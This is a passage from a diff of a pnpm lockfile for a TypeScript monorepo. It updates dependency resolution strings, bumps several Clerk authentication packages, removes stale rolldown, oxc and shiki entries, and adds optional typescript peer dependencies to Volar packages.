4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@t3tools/source-control-testing': specifier: workspace:* version: link:../source-control-testing @@ -1986,7 +1985,7 @@ importers: version: 24.12.4 vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) packages/source-control-gitlab: dependencies: @@ -2005,7 +2004,7 @@ importers: devDependencies: '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@t3tools/source-control-testing': specifier: workspace:* version: link:../source-control-testing @@ -2014,7 +2013,7 @@ importers: version: 24.12.4 vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) packages/source-control-testing: dependencies: @@ -2052,13 +2051,13 @@ importers: version: 4.0.5(bufferutil@4.1.0)(effect@4.0.5)(redis@6.2.1)(utf-8-validate@6.0.6) '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@types/node': specifier: 24.12.4 version: 24.12.4 vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) packages/tailscale: dependencies: @@ -2071,13 +2070,13 @@ importers: devDependencies: '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@types/node': specifier: 24.12.4 version: 24.12.4 vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) scripts: dependencies: @@ -2111,7 +2110,7 @@ importers: devDependencies: '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@types/plist': specifier: 'catalog:' version: 3.0.5 @@ -2129,7 +2128,7 @@ importers: version: typescript@6.0.3 vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) packages: @@ -2909,8 +2908,8 @@ packages: resolution: {integrity: sha512-hmJS0a61FO08PDaV2MtZ/hj6pE+cQBRmpxR8oUFGQTXewOQLLOAbcgob0rmFAnMNuHgXfsYf3NVxcQCUOWE+QA==} engines: {node: '>=20.9.0'} - '@clerk/clerk-js@6.39.1': - resolution: {integrity: sha512-QtxMDDgtnZ6V/N3rOcjyEGqXHsugWOSFYzv176htNF57wN5lcRieUxwEYbXfpOdq2z4FYmS2bUDB1s+5AU0QsA==} + '@clerk/clerk-js@6.40.0': + resolution: {integrity: sha512-2MnZ/ygvuCmeuqfXQmsxfQaLN/SSJvQbtT2cLXbgr5VKr3KmZFZBVvX977fG3eZ6pprl4J9pO+I2bbe6BvColg==} engines: {node: '>=20.9.0'} '@clerk/electron-passkeys-darwin-arm64@0.0.3': @@ -2937,8 +2936,8 @@ packages: resolution: {integrity: sha512-OHhIe88qDL+FxyBalXdXNHAS5eEramr6Rerp+6iNkfkjqT8rx4hHNmfpmjg5/T1/am8QfknbOBZkqoXZlCrjPg==} engines: {node: '>=20.9.0'} - '@clerk/electron@0.1.1': - resolution: {integrity: sha512-ZnZTVBCjWQ7+YYrzjkG5G9bDpA2wEHdBggyijY4Q6Cny7l9aHdimz/iEaRNvz6ELeVmR2BBL4ictfFfzCqLjnA==} + '@clerk/electron@0.1.3': + resolution: {integrity: sha512-gqce/0bO6v9/MXMmLs3C+0bTLAu+wzyCdBoc7f7EdpdMFUu4r+dotVpmUE2tu1d7l9nUWegLEA60TwXyzxlYrg==} engines: {node: '>=20.9.0'} peerDependencies: '@clerk/electron-passkeys': 0.0.3 @@ -3007,15 +3006,15 @@ packages: react-dom: optional: true - '@clerk/react@6.17.8': - resolution: {integrity: sha512-sNeMe+5ArLshOJgNtqUGHb7cLHjDjRhumBHBN2ovg4uHpL49kQ2UfDUTtxpRUdMNikUg0Oc1CwzLFBlUv1umXA==} + '@clerk/react@6.18.0': + resolution: {integrity: sha512-MmLhXGtrGByt0ZJjLyh88rP7uESxONji4FFVFKe7U11DIGRVdvgRs/mWfLsNa1R23knxeTw3HMEVLIjQ6v5DgQ==} engines: {node: '>=20.9.0'} peerDependencies: react: ^18.0.0 || ~19.0.3 || ~19.1.4 || ~19.2.3 || ~19.3.0-0 react-dom: ^18.0.0 || ~19.0.3 || ~19.1.4 || ~19.2.3 || ~19.3.0-0 - '@clerk/shared@4.40.0': - resolution: {integrity: sha512-80KM/uw5ZseYTKwJjIhJj7jsHqX6rFem6cwcFJVCUriE3R4tpzkhXsfbhtdho6cG2pQD3NVqKspxTVbSjATzPg==} + '@clerk/shared@4.41.0': + resolution: {integrity: sha512-zLdeVxfPBOwmiDqHh3Z2y3ub/4u84zOSlEUKPDpFAibMdW1OyboPw+DIU/seH9UXDpCQCNHl6lfKUE9LLIBvfw==} engines: {node: '>=20.9.0'} peerDependencies: react: ^18.0.0 || ~19.0.3 || ~19.1.4 || ~19.2.3 || ~19.3.0-0 @@ -5080,9 +5079,6 @@ packages: '@oxc-project/types@0.148.0': resolution: {integrity: sha512-Nm4s/jB+4FpFsPhWGEC4h7rzksesmtnMXomo6rCMcg/b8zLQuOziRgkCS1fxDCXOlJB/6Q8oABOZ/OP6RIPj9A==} - '@oxc-project/types@0.153.0': - resolution: {integrity: sha512-jSNrRIyvPVLL5E1z/tS5zLAprosGz/FuI1PWwEOz59j3E4TTTzSpqKb/RDGqJhhW0QHYISGXxq582wGx6T11Tw==} - '@oxc-project/types@0.154.0': resolution: {integrity: sha512-KYOUGQFlLWR+s4QMV2Q9ko38TZm7EdO87Qm7rvZLqk/webse/cDjtyxKhg/47l0byCbs/k46LT8qc4PKjAikzA==} @@ -5865,12 +5861,6 @@ packages: peerDependencies: '@redis/client': ^6.2.1 - '@rolldown/binding-android-arm-eabi@1.2.13': - resolution: {integrity: sha512-Vu/NICrgdRvUOeaJZIyB2FP63s6fO/4ud5l8dXmxDx9yDyn+mN0y+gsvsVviSli+T361Aqo0h46EuMoobrwawA==} - engines: {node: ^20.19.0 || >=22.12.0} - cpu: [arm] - os: [android] - '@rolldown/binding-android-arm-eabi@1.2.5': resolution: {integrity: sha512-DLe/i+l8ynIBY7XEQ191TeZvCoowIGa18R+dIV30GW7DiOtp74i/xX8hs8GUjW5ARV7VZuie3d6AumSmCwbeRA==} engines: {node: ^20.19.0 || >=22.12.0} @@ -5883,12 +5873,6 @@ packages: cpu: [arm64] os: [android] - '@rolldown/binding-android-arm64@1.2.13': - resolution: {integrity: sha512-6LEoIrGy5vvCd2boNnv2soPSUZj/PRvhp8R/t9KlX+mIZxThIE/ZqxrGXxmuNX0FuvQFvLdZr7S4HrYpYBVhEQ==} - engines: {node: ^20.19.0 || >=22.12.0} - cpu: [arm64] - os: [android] - '@rolldown/binding-android-arm64@1.2.5': resolution: {integrity: sha512-zXcwKlQApYAOELHd8PwKDFkagYF9Wy4e0RJ+0qnzl9Pjnpj75TEG8ufv40p2J7kCEfwZAsNiuzRIyNNMWT38ig==} engines: {node: ^20.19.0 || >=22.12.0} @@ -5901,12 +5885,6 @@ packages: cpu: [arm64] os: [darwin] - '@rolldown/binding-darwin-arm64@1.2.13': - resolution: {integrity: sha512-CaJSRzlQ6Q+zkDMVA9OkVxBjVoPRCDEE3v0FSJ9kIQBgRjFApA3Si4ijhbNVUji7ZJt+PfO0e46qy4nPInHUPA==} - engines: {node: ^20.19.0 || >=22.12.0} - cpu: [arm64] - os: [darwin] - '@rolldown/binding-darwin-arm64@1.2.5': resolution: {integrity: sha512-dK4QakI42nzWgJT5sm4y4y/O//D4OxM75/cH28RLV+nzIN9AY+YsbuUVrUTjlLjXR6vpyxFbSsbmNuJ6BP9sww==} engines: {node: ^20.19.0 || >=22.12.0} @@ -5919,12 +5897,6 @@ packages: cpu: [x64] os: [darwin] - '@rolldown/binding-darwin-x64@1.2.13': - resolution: {integrity: sha512-e4r340I5hxSzJkD3YJBxgzq/rJ3wwxwdLLb2FPt1Zpyem20nrQPT11DDEEkazwxaHumH8wpglsp/Ozgj/wT6mw==} - engines: {node: ^20.19.0 || >=22.12.0} - cpu: [x64] - os: [darwin] - '@rolldown/binding-darwin-x64@1.2.5': resolution: {integrity: sha512-fqSALaUu1Wjd1nK2uW2kJDWdLCc8lx1IcY+MTY26Aurfdx19anlzhqXOgCFbBFQnlFDTn4TC1/7Nz4Bl2mLP3A==} engines: {node: ^20.19.0 || >=22.12.0} @@ -5937,12 +5909,6 @@ packages: cpu: [x64] os: [freebsd] - '@rolldown/binding-freebsd-x64@1.2.13': - resolution: {integrity: sha512-hoBWDZ4/K/mJKVMbsgUd1jfpA2DiOrJ54mpegObU9TBHBBrtX4FLIXJJQRDPZ/2Dn91GvPob+Z2hwKJzf4E5SQ==} - engines: {node: ^20.19.0 || >=22.12.0} - cpu: [x64] - os: [freebsd] - '@rolldown/binding-freebsd-x64@1.2.5': resolution: {integrity: sha512-/vCnNxlkxs9tKxNDcyWUePpJ/PgTzxIaVhoM5SmG8UV+GR/IcPam4VYxi7GIMo7PSDuNqlJqvprqii9NqqVCMw==} engines: {node: ^20.19.0 || >=22.12.0} @@ -5955,12 +5921,6 @@ packages: cpu: [arm] os: [linux] - '@rolldown/binding-linux-arm-gnueabihf@1.2.13': - resolution: {integrity: sha512-oF9fZu3vTWnTiVAkDFxU9PJLt1nh20K9RRpuHsR7ZnE2L7XookBbDBVLojCVSLGbvtSlxeUNnjAj6DbNsKyzbg==} - engines: {node: ^20.19.0 || >=22.12.0} - cpu: [arm] - os: [linux] - '@rolldown/binding-linux-arm-gnueabihf@1.2.5': resolution: {integrity: sha512-abk0NLA519LxRCszmbE0jYKuQ9YPocOXTiOXOo6Yr+YAT95VH+PtqYAjOJvGKt3viEd/x4qzabAlwd5bHOOARg==} engines: {node: ^20.19.0 || >=22.12.0} @@ -5974,13 +5934,6 @@ packages: os: [linux] libc: [glibc] - '@rolldown/binding-linux-arm64-gnu@1.2.13': - resolution: {integrity: sha512-DTpb/+jMiqWMPgphn4ksW1zW+XLJ6dJJ9FMvnIk9I291LhCctMPhMYJrP5t9p6C9qa3KXadDdUEZHBaPh3kNxQ==} - engines: {node: ^20.19.0 || >=22.12.0} - cpu: [arm64] - os: [linux] - libc: [glibc] - '@rolldown/binding-linux-arm64-gnu@1.2.5': resolution: {integrity: sha512-Y7eALiJ8lr0M2HH103Js+g7V34wf6snlpZLAsHI90uLhr3PVlNsbFVAXJC9d/V6BnPyKtpSwI+NcB/RLxsQxuA==} engines: {node: ^20.19.0 || >=22.12.0} @@ -5995,13 +5948,6 @@ packages: os: [linux] libc: [musl] - '@rolldown/binding-linux-arm64-musl@1.2.13': - resolution: {integrity: sha512-xU+Kvv9N2A3SY35zFh1FWWNjxbadE/BKeqnkXe7vScU4GZsw757BlVmDLITZEq8DPpk6m7uoDYkK7P+x/uU5Ow==} - engines: {node: ^20.19.0 || >=22.12.0} - cpu: [arm64] - os: [linux] - libc: [musl] - '@rolldown/binding-linux-arm64-musl@1.2.5': resolution: {integrity: sha512-xMvZgnbZg4YVnR/AX2b3oOPDTFYJvUVaJg5FedA/LuvexAtXibZQej4cnTkw3rjsJ/ggUROB64TdtETiim+FYA==} engines: {node: ^20.19.0 || >=22.12.0} @@ -6016,13 +5962,6 @@ packages: os: [linux] libc: [glibc] - '@rolldown/binding-linux-ppc64-gnu@1.2.13': - resolution: {integrity: sha512-XMk/hnhh25oQ756Lclb1Q11h4ll0xC0Esa5w4Vzp+mAE2S3AGJgeM0SonrIgY8fHhjarb6hcoTuwoFG0VVP2ig==} - engines: {node: ^20.19.0 || >=22.12.0} - cpu: [ppc64] - os: [linux] - libc: [glibc] - '@rolldown/binding-linux-ppc64-gnu@1.2.5': resolution: {integrity: sha512-GRjeqTUDHTo5GwntsLaAMcBahG3nlpjftXWZLN73HiYQlhwEowvarFgQnRnQZtIp4keXX7quXFbG38uPZBa2EA==} engines: {node: ^20.19.0 || >=22.12.0} @@ -6037,13 +5976,6 @@ packages: os: [linux] libc: [glibc] - '@rolldown/binding-linux-s390x-gnu@1.2.13': - resolution: {integrity: sha512-U1BoTHYmlywE2n3HUWjzZ+8EQsKr+OwpxYuDWaubx42tUL8QSL7nOqRz/NVHanibbFP3M1Rxuprz/wNcbMKjqw==} - engines: {node: ^20.19.0 || >=22.12.0} - cpu: [s390x] - os: [linux] - libc: [glibc] - '@rolldown/binding-linux-s390x-gnu@1.2.5': resolution: {integrity: sha512-vLNTR45F2Uwc8AufkNXPmB4VliaXs+FvcheEogIzOXzO4l+LzieXF5A/TWxLy5HtqpsRCHUfd0lPVrrdgXdLHQ==} engines: {node: ^20.19.0 || >=22.12.0} @@ -6058,13 +5990,6 @@ packages: os: [linux] libc: [glibc] - '@rolldown/binding-linux-x64-gnu@1.2.13': - resolution: {integrity: sha512-J4cm80Pc6wEwV5AZ42o62sIQgDk+Y7R2s646jIwuvO+4V46QB58N4vVuMPWCBaNgursXLpmUWJV//WQAkPvHBQ==} - engines: {node: ^20.19.0 || >=22.12.0} - cpu: [x64] - os: [linux] - libc: [glibc] - '@rolldown/binding-linux-x64-gnu@1.2.5': resolution: {integrity: sha512-Mgj59/HTuYeK9Gz2MA+mBWKnHsAgkBSec15ZMb1st3oIfFbX7gCjOae7GydHhzcyQi9Z/7M1QuN9bR3oFqF0jQ==} engines: {node: ^20.19.0 || >=22.12.0} @@ -6079,13 +6004,6 @@ packages: os: [linux] libc: [musl] - '@rolldown/binding-linux-x64-musl@1.2.13': - resolution: {integrity: sha512-W0euZS40U4V6JkmEnVCIX9mcsL6cbXQ4X8c2w+MMOIjFg68TXUW+u3RT+2e1t1pv9mg/EP3pDtK3POXdQ7Rxyw==} - engines: {node: ^20.19.0 || >=22.12.0} - cpu: [x64] - os: [linux] - libc: [musl] - '@rolldown/binding-linux-x64-musl@1.2.5': resolution: {integrity: sha512-mY8AP0/ichsbhAxGnLa3d3+MwV0EfgrPND2bplI3Ym8T6R2pJ0N87bvrKVwNXmdy3jnr6eQBecdqx/HMknBmpA==} engines: {node: ^20.19.0 || >=22.12.0} @@ -6099,12 +6017,6 @@ packages: cpu: [arm64] os: [openharmony] - '@rolldown/binding-openharmony-arm64@1.2.13': - resolution: {integrity: sha512-do/AF/4n9MRshia3a5aXoy8xM2c6mgfT6D7H/dY6my5z+hfCIR4ab7mk4IRj++nsEQpKy39kd0DQnDq+r692tw==} - engines: {node: ^20.19.0 || >=22.12.0} - cpu: [arm64] - os: [openharmony] - '@rolldown/binding-openharmony-arm64@1.2.5': resolution: {integrity: sha512-8SLssA2oweAxyRgDp789ACfRb/3P+zNRJpzZxSizxF9m8NUDQ4+3xjo8ttjhVGGw6Qxb70oZiEtIjaKikCO7Yw==} engines: {node: ^20.19.0 || >=22.12.0} @@ -6122,12 +6034,6 @@ packages: cpu: [arm64] os: [win32] - '@rolldown/binding-win32-arm64-msvc@1.2.13': - resolution: {integrity: sha512-6FtUf2cJZobutJdxnGYX8z0vtbgqU0b2v8vfBhkXb9wp2MppMFtkunE+IaOntyi01rkIQoPW2GHABtfzsC0BRQ==} - engines: {node: ^20.19.0 || >=22.12.0} - cpu: [arm64] - os: [win32] - '@rolldown/binding-win32-arm64-msvc@1.2.5': resolution: {integrity: sha512-vGbruD5zquhoc8D9SViXgN2FBJtNdTyQ4DtG+SWiEGlJiAzoKcZ2xp+xuXCffhubVdt0NJlTZqkeRuERy7g8Cw==} engines: {node: ^20.19.0 || >=22.12.0} @@ -6140,35 +6046,12 @@ packages: cpu: [x64] os: [win32] - '@rolldown/binding-win32-x64-msvc@1.2.13': - resolution: {integrity: sha512-UKhFaZTeTcbKrb3iU82m17jVcPEAoqDkCN5MBqgPyZSwp/cQmib21crTS0DdH7T1B7wZRWEI89YQAOJMet5yhg==} - engines: {node: ^20.19.0 || >=22.12.0} - cpu: [x64] - os: [win32] - '@rolldown/binding-win32-x64-msvc@1.2.5': resolution: {integrity: sha512-e/SXpgISz+IoqVcSSI0rx/d/he8zqLex+/rCWpnHpmVfmPIUjag9H6P7zotf0gJHwPUhQxZ/mF8tr6acebT9yw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [win32] - '@rolldown/plugin-babel@0.2.3': - resolution: {integrity: sha512-+zEk16yGlz1F9STiRr6uG9hmIXb6nprjLczV/htGptYuLoCuxb+itZ03RKCEeOhBpDDd1NU7qF6x1VLMUp62bw==} - engines: {node: '>=22.12.0 || ^24.0.0'} - peerDependencies: - '@babel/core': ^7.29.0 || ^8.0.0-rc.1 - '@babel/plugin-transform-runtime': ^7.29.0 || ^8.0.0-rc.1 - '@babel/runtime': ^7.27.0 || ^8.0.0-rc.1 - rolldown: ^1.0.0-rc.5 - vite: ^8.0.0 - peerDependenciesMeta: - '@babel/plugin-transform-runtime': - optional: true - '@babel/runtime': - optional: true - vite: - optional: true - '@rolldown/pluginutils@1.0.0-rc.17': resolution: {integrity: sha512-n8iosDOt6Ig1UhJ2AYqoIhHWh/isz0xpicHTzpKBeotdVsTEcxsSA/i3EVM7gQAj0rU27OLAxCjzlj15IWY7bg==} @@ -6211,10 +6094,6 @@ packages: resolution: {integrity: sha512-RX8IHYeLv8Cu2W6ruc3RxUqWn0IYCqSrMBzi/uRGAmfyDNOnNO5BF/Px7o97n4XTpmFTo5GbRaazuOWj+2ak2w==} engines: {node: '>=20'} - '@shikijs/themes@4.3.0': - resolution: {integrity: sha512-Avgt05YiT+Y3prjIc9lmQxhJzHBcCfR6cjiFW4OyaMBbt2A6trX5rfjUzx+Vj/mE9qpArYjatnqo9XPjQNW/AQ==} - engines: {node: '>=20'} - '@shikijs/transformers@4.2.0': resolution: {integrity: sha512-pKrYVNUr1oPjJvs76gkPPirDySx3GKG9O88P2Y3AQ+7AjSFws9Y+Ry/Q/6Yg6QpyigzjdQ6H5JAMNAvLXZ63dw==} engines: {node: '>=20'} @@ -7199,15 +7078,30 @@ packages: '@volar/language-server@2.4.28': resolution: {integrity: sha512-NqcLnE5gERKuS4PUFwlhMxf6vqYo7hXtbMFbViXcbVkbZ905AIVWhnSo0ZNBC2V127H1/2zP7RvVOVnyITFfBw==} + peerDependencies: + typescript: '*' + peerDependenciesMeta: + typescript: + optional: true '@volar/language-service@2.4.28': resolution: {integrity: sha512-Rh/wYCZJrI5vCwMk9xyw/Z+MsWxlJY1rmMZPsxUoJKfzIRjS/NF1NmnuEcrMbEVGja00aVpCsInJfixQTMdvLw==} + peerDependencies: + typescript: '*' + peerDependenciesMeta: + typescript: + optional: true '@volar/source-map@2.4.28': resolution: {integrity: sha512-yX2BDBqJkRXfKw8my8VarTyjv48QwxdJtvRgUpNE5erCsgEUdI2DsLbpa+rOQVAJYshY99szEcRDmyHbF10ggQ==} '@volar/typescript@2.4.28': resolution: {integrity: sha512-Ja6yvWrbis2QtN4ClAKreeUZPVYMARDYZl9LMEv1iQ1QdepB6wn0jTRxA9MftYmYa4DQ4k/DaSZpFPUfxl8giw==} + peerDependencies: + typescript: '*' + peerDependenciesMeta: + typescript: + 